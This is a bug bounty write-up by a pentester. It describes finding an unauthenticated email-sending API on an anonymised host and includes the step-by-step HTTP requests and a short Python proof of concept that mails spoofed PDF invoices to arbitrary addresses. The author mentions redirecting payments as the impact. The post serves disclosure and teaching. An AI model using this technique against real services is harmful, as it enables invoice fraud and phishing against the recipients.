A perfect duplicate or how to send an email with a spoofed invoice’s content

This is a story about one of my most interesting findings without a happy ending. Spoiler alert — the bug was closed as duplicace. Duplicate is still a valid bug and in this case it’s yet another reason to improve my automation. Moreover I also learned a bit finding it.

It was interesting from the beginning. First I routinely ran a dictionary against a host, which resulted in one interesting thing. I ommited the boring parts of HTTP requests and responses to keep this short.

GET /sendmail HTTP/1.1
Host: host:exoticport
HTTP/1.1 405 Method Not Allowed
content-length: 0

So POST it is:

POST /sendmail HTTP/1.1
Host: host:exoticport
Content-Type: application/json
Content-Length: 0
HTTP/1.1 422 Unprocessable Entity
[CUT] type missing [CUT]

So I add type:

POST /sendmail HTTP/1.1
Host: host:exoticport
Content-Type: application/json
Content-Length: 12
{“type”:0}HTTP/1.1 422 Unprocessable Entity
[CUT] expected=string, got=number, field=type [CUT]

So type was a string. Here I spent some time enumerating and guessing/googling what exactly type value can be in case of an API, which apparently sends emails.
Then I found out. I also assumed that there should be a to field:

POST /sendmail HTTP/1.1
Host: host:exoticport
Content-Type: application/json
Content-Length: 25
{“type”:”pdf”, “to”:””}HTTP/1.1 500 Internal Server Error
[CUT] invalid address [CUT]

It made perfect sense, so next step I set proper to value:

POST /sendmail HTTP/1.1
Host: host:exoticport
Content-Type: application/json
Content-Length: 53
{“type”:”pdf”, “to”:”[valid-email]”}HTTP/1.1 200 OK
[CUT] mail Sent [CUT]

Nice. Then I opened my inbox and almost jumped.

I got an email with a pdf attachment named invoice. It was empty. Awesome. If only I could set a subject and spoof attachment’s content.
First one was easy: subject was subject. Second one required a bit guesswork again and the parameter containing pdf content was named body. The content needed to be Base64 encoded.

So, for final PoC I wrote short script:

import base64, requestsdef uploadfile(filename):
resp = requests.post(“http://host:exoticport/sendmail", data = {“type”:”pdf”, “to”:”[valid-email]”, “subject”: “invoice_spoof”, “body” : base64.b64encode(open(filename, “rb”).read())})

uploadfile(‘test.pdf’)

The results looked like this:

Email message with invoice
Spoofed invoice content

Now I could spoof the invoice with my bank account ad possibly redirect payments to me. A perfect P1 bug. I learned few years ago not to get excited, but still I hoped to get a nice bounty. It was closed as a duplicate instead. The end.

Pentester @ SecuRing